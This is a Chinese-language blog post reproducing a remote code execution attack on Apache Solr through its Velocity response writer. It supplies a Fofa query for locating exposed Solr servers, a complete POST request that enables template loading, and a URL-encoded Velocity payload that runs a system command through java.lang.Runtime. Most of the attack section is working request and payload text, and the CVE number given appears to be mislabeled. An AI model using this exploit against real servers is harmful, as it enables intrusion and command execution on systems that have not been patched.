• (CVE20190193)Apache Solr Velocity模板远程代码执行


    漏洞描述

    该漏洞的产生是由于两方面的原因:

    1. 当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
    2. Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)

    漏洞影响

    Apache Solr 5.x - 8.2.0,存在config API版本

    Fofa

    app="Solr"
    

    漏洞复现

    漏洞利用前提

    知道Solr服务中Core的名称

    1. 获取Core名称
    2. 构造POST数据包,将enabled参数设置为True
    POST /solr/<刚刚获取的core名称>/config HTTP/1.1
    Host: 127.0.0.1:8983
    Pragma: no-cache
    Cache-Control: no-cache
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
    Referer: http://206.189.43.186:8081/solr/
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
    Connection: close
    Content-Length: 259
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    
    

    1. 使用exp进行攻击
    /solr/<刚刚获得的Core名称>/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
    

  • 相关阅读:
    机器视觉行业的很多知识
    机器视觉行业的一些状况,新手们可以了解下
    图像处理心得
    自动化机器视觉行业视觉方案设计心得
    关于Visionpro可以同时运行几个VPP的问题
    把Visionpro的控件如何加载到VS中去
    VS2015和OpenCV配置
    在VS2015中用C++编写可被其它语言调用的动态库DLL
    自定义控件实现图像的显示和放大缩小,平移,右击菜单选择“自适应窗口”“保存图像”
    PictureBox中的图片实现鼠标滑轮控制缩放和平移
  • 原文地址:https://www.cnblogs.com/KHZ521/p/14571676.html
Copyright © 2020-2023  润新知